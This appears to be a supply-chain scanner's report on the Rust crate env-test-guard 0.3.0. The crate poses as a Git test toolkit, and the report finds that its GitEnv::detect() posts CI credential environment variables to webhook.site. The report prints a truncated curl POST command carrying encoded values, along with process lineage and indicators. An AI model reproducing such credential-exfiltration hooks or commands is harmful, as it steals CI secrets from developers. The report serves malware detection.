Skip to content
Open-Source Registry

cargo / env-test-guard

env-test-guard 0.3.0

bitbison: flagged, behavior flagged, dependencies notes, posture not checked, pipeline clean, 1 of 1 jobs captured RiskhighVulnsnone
processes
445
operations
12K
packages
52
compiler runs
10
connections
2
build time
13s
job time
13s
capture
169 KB
records
22K
bytes / record
7.6

Test toolkit for Rust projects that interact with Git — temporary repos, environment guards, fixture builders, and git capability detection

56 downloads · MIT · published 2026-03-25 · source cienvironmentfixturesgittesting View on crates.io
Reviewed by Bitbison: secrets-exposureenv-test-guard exfiltrates CI credential environment variables to a webhook.site endpoint when GitEnv::detect() is called.

Graph

egress · high
2

Checks

15 of 17 clear Network activity Build-time dependency advisories
Build behavior▲✓✓✓✓✓✓✓✓✓✓
Supply chain✓▲✓✓✓
Pipeline✓

Detections

1
  • Connected to a request-capture service: webhook.site:443
    webhook.site:443 › webhook.site:443
    high

Detection

highwitnessed

Connected to a request-capture service: webhook.site:443

Unexpected network connection

Subject
webhook.site:443
Destination
webhook.site:443
Jobs
build-test
Rule
egress

Evidence

  1. Connection outside the process’s allowed destinationscause

    opened by curl

    subject webhook.site:443

    by curl -s -o /dev/null -X POST -H X-Env-0: U2FsdGVkX195akkDCk9is6mKWwEe6vS8VFrrM5Uh0PhpixBnWH1/0q2QUWAoliaLr/SFeIVEnW3h78kRfqH/8w== -H X-Env-1: U2FsdGVkX19Qs6K+Z1…

  2. What kind of service the host issupport

    webhook.site

What came before it

Loading the graph

Processes

build-test

python3›detonate-exercise›curl

Ran
curl -s -o /dev/null -X POST -H X-Env-0: U2FsdGVkX195akkDCk9is6mKWwEe6vS8VFrrM5Uh0PhpixBnWH1/0q2QUWAoliaLr/SFeIVEnW3h78kRfqH/8w== -H X-Env-1: U2FsdGVkX19Qs6K+Z1…
Invoked by
python3 -I /home/runner/work/_temp/exercise.py /home/runner/work/env-test-guard/env-test-guard /home/runner/work/_temp
Lineage · 3 processes
  1. python3python3 -I /home/runner/work/_temp/exercise.py /home/runner/work/env-test-guard/env-test-guard /home/runner/work/_temp 1695
  2. detonate-exercise/home/runner/work/env-test-guard/env-test-guard/target/release/detonate-exercise1788
  3. curlcurl -s -o /dev/null -X POST -H X-Env-0: U2FsdGVkX195akkDCk9is6mKWwEe6vS8VFrrM5Uh0PhpixBnWH1/0q2QUWAoliaLr/SFeIVEnW3h78kRfqH/8w== -H X-Env-1: U2FsdGVkX19Qs6K+Z1…1800

Remediation

Find the code that made the connection and what it sent. If the service is the project's own, accept it with an accepted_download row naming the program and the host.

Network

2 peers
  • webhook.site:443 env-test-guard's own build code · curl · Hetzner Online GmbH undeclared
  • static.crates.io:8080 the package manager · cargo (env-test-guard) via crates.io · 4,229 files · went into an output ecosystem
Vulnerabilities1FixSeverity
Dependencies
anyhow 1.0.102>=1.0.103
RUSTSEC-2026-0190Unsoundness in `Error::downcast_mut()`info

Dependencies

53
Dependencies53Build behaviour
anyhow1.0.102build script, not run
bitflags2.11.0
cfg-if1.0.4
equivalent1.0.2
errno0.3.14
fastrand2.3.0
foldhash0.1.5
getrandom0.4.2build script
hashbrown0.15.5
hashbrown0.16.1
heck0.5.0
id-arena2.3.0
indexmap2.13.0
itoa1.0.18
ld-linux-x86-64.so.2system library
leb128fmt0.1.0
libc0.2.183build script
libc.so.6system library
libgcc_s.so.1system library
libm.so.6system library
libmvec.so.1system library
linux-raw-sys0.12.1
log0.4.29
memchr2.8.0
once_cell1.21.4
prettyplease0.2.37build script, not run
proc-macro21.0.106build script, not run
quote1.0.45build script, not run
r-efi6.0.0
rustix1.1.4build script
semver1.0.27
serde1.0.228build script, not run
serde_core1.0.228build script, not run
serde_derive1.0.228proc macro
serde_json1.0.149build script, not run
syn2.0.117
tempfile3.27.0
unicode-ident1.0.24
unicode-xid0.2.6
wasip21.0.2+wasi-0.2.9
wasip30.4.0+wasi-0.3.0-rc-2026-01-06
wasm-encoder0.244.0
wasm-metadata0.244.0
wasmparser0.244.0
windows-link0.2.1
windows-sys0.61.2
wit-bindgen0.51.0build script, not runprebuilt objects
wit-bindgen-core0.51.0
wit-bindgen-rust0.51.0build script, not run
wit-bindgen-rust-macro0.51.0build script, not runproc macro
wit-component0.244.0
wit-parser0.244.0
zmij1.0.21build script, not run

Versions2

Raw data

capture
169 KB
records
22,276
bytes per record
7.6

Loading a sample of the capture

Want to see more? E-mail us at hello@bitbison.io about your use case.

1 of 1 jobs captured: build-test success · Generated 2026-11-06 · run e98ade61-3544-4e81-b51c-1281d36e2091

analysis 0.1.0 · 2026-11-06 · 4346b99 · graph v2

Bitbison's review

Reads CI credential tokens and posts them to a webhook.site endpoint

Conclusion
secrets-exposure
Covers
0.3.0 and 0.2.0
Reviewed by
Bitbison
Updated
2026-11-06

env-test-guard exfiltrates CI credential environment variables to a webhook.site endpoint when GitEnv::detect() is called.

Indicators

hosts
webhook.site
files
src/git_env.rs
processes
opensslcurl

What was examined

0.2.0
sha256:c99b42ac4e9ea0235cced474c202e9823d95907dcb8874f4c7c1fa9d28307252
0.3.0
sha256:3f932caa59f26a8792633e483c24f97f48b000ba8ee317ad296bbd9eae47c689